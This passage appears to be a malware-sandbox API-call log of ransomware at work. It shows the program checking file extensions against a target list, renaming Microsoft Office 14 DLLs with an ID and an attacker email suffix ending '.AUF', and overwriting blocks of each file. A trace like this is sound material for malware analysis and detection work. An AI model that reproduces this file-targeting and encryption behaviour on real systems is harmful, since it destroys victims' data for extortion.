Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.388] lstrlenW (lpString=".zip") returned 4 [0221.388] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.388] lstrlenW (lpString=".rar") returned 4 [0221.388] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.388] lstrlenW (lpString=".bz2") returned 4 [0221.388] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.389] lstrlenW (lpString=".7z") returned 3 [0221.389] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".dbf") returned 4 [0221.389] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".1cd") returned 4 [0221.389] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".jpg") returned 4 [0221.389] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".doc") returned 4 [0221.389] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.389] lstrlenW (lpString=".docx") returned 5 [0221.389] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0221.389] lstrlenW (lpString=".pdf") returned 4 [0221.389] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString=".xls") returned 4 [0221.389] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString=".xlsx") returned 5 [0221.389] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0221.389] lstrlenW (lpString=".ppt") returned 4 [0221.389] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".zip") returned 4 [0221.389] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString=".rar") returned 4 [0221.389] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.389] lstrlenW (lpString=".bz2") returned 4 [0221.389] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.389] lstrlenW (lpString=".7z") returned 3 [0221.389] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.389] lstrlenW (lpString=".dbf") returned 4 [0221.390] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.390] lstrlenW (lpString=".1cd") returned 4 [0221.390] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.390] lstrlenW (lpString=".jpg") returned 4 [0221.390] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.390] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.390] lstrlenW (lpString="MSO.DLL") returned 7 [0221.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.390] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=25417600) returned 1 [0221.390] CloseHandle (hObject=0x1f4) returned 1 [0221.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0221.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0221.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.391] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0221.392] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.392] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.426] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.426] ReadFile (in: hFile=0x1f4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.504] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.504] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.504] ReadFile (in: hFile=0x1f4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.643] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.643] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0221.674] SetEndOfFile (hFile=0x1f4) returned 1 [0221.676] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.676] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.677] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.677] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.681] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.681] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.683] CloseHandle (hObject=0x1f4) returned 1 [0221.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.683] lstrlenW (lpString=".doc") returned 4 [0221.683] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.683] lstrlenW (lpString=".docx") returned 5 [0221.683] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0221.683] lstrlenW (lpString=".pdf") returned 4 [0221.683] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.683] lstrlenW (lpString=".xls") returned 4 [0221.683] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.683] lstrlenW (lpString=".xlsx") returned 5 [0221.683] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0221.683] lstrlenW (lpString=".ppt") returned 4 [0221.684] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".zip") returned 4 [0221.684] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".rar") returned 4 [0221.684] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".bz2") returned 4 [0221.684] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.684] lstrlenW (lpString=".7z") returned 3 [0221.684] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".dbf") returned 4 [0221.684] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".1cd") returned 4 [0221.684] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".jpg") returned 4 [0221.684] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".doc") returned 4 [0221.684] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".docx") returned 5 [0221.684] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0221.684] lstrlenW (lpString=".pdf") returned 4 [0221.684] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".xls") returned 4 [0221.684] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".xlsx") returned 5 [0221.684] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0221.684] lstrlenW (lpString=".ppt") returned 4 [0221.684] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.684] lstrlenW (lpString=".zip") returned 4 [0221.684] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".rar") returned 4 [0221.684] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.684] lstrlenW (lpString=".bz2") returned 4 [0221.684] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.684] lstrlenW (lpString=".7z") returned 3 [0221.684] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.685] lstrlenW (lpString=".dbf") returned 4 [0221.685] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.685] lstrlenW (lpString=".1cd") returned 4 [0221.685] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0221.685] lstrlenW (lpString=".jpg") returned 4 [0221.685] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.685] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.685] lstrlenW (lpString="MSORES.DLL") returned 10 [0221.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.685] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=72521600) returned 1 [0221.685] CloseHandle (hObject=0x1f4) returned 1 [0221.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0221.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0221.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.686] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0221.686] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.687] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.700] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.700] ReadFile (in: hFile=0x1f4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.780] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.780] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0221.780] ReadFile (in: hFile=0x1f4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.813] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.813] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0221.827] SetEndOfFile (hFile=0x1f4) returned 1 [0221.829] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.829] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.830] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.830] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.830] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.831] WriteFile (in: hFile=0x1f4, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.841] CloseHandle (hObject=0x1f4) returned 1 [0221.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.841] lstrlenW (lpString=".doc") returned 4 [0221.842] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".docx") returned 5 [0221.842] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.842] lstrlenW (lpString=".pdf") returned 4 [0221.842] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".xls") returned 4 [0221.842] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".xlsx") returned 5 [0221.842] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.842] lstrlenW (lpString=".ppt") returned 4 [0221.842] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".zip") returned 4 [0221.842] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".rar") returned 4 [0221.842] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".bz2") returned 4 [0221.842] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.842] lstrlenW (lpString=".7z") returned 3 [0221.842] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".dbf") returned 4 [0221.842] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".1cd") returned 4 [0221.842] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".jpg") returned 4 [0221.842] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".doc") returned 4 [0221.842] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".docx") returned 5 [0221.842] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.842] lstrlenW (lpString=".pdf") returned 4 [0221.842] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".xls") returned 4 [0221.842] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".xlsx") returned 5 [0221.842] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.842] lstrlenW (lpString=".ppt") returned 4 [0221.842] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.842] lstrlenW (lpString=".zip") returned 4 [0221.842] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.842] lstrlenW (lpString=".rar") returned 4 [0221.842] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.843] lstrlenW (lpString=".bz2") returned 4 [0221.843] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.843] lstrlenW (lpString=".7z") returned 3 [0221.843] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.843] lstrlenW (lpString=".dbf") returned 4 [0221.843] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.843] lstrlenW (lpString=".1cd") returned 4 [0221.843] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0221.843] lstrlenW (lpString=".jpg") returned 4 [0221.843] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.844] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.844] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0221.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.844] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=56192) returned 1 [0221.844] CloseHandle (hObject=0x1f4) returned 1 [0221.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0221.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.844] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.844] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.845] GetLastError () returned 0x0 [0221.845] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xdb80, lpOverlapped=0x0) returned 1 [0221.864] WriteFile (in: hFile=0x1e8, lpBuffer=0x36f0020*, 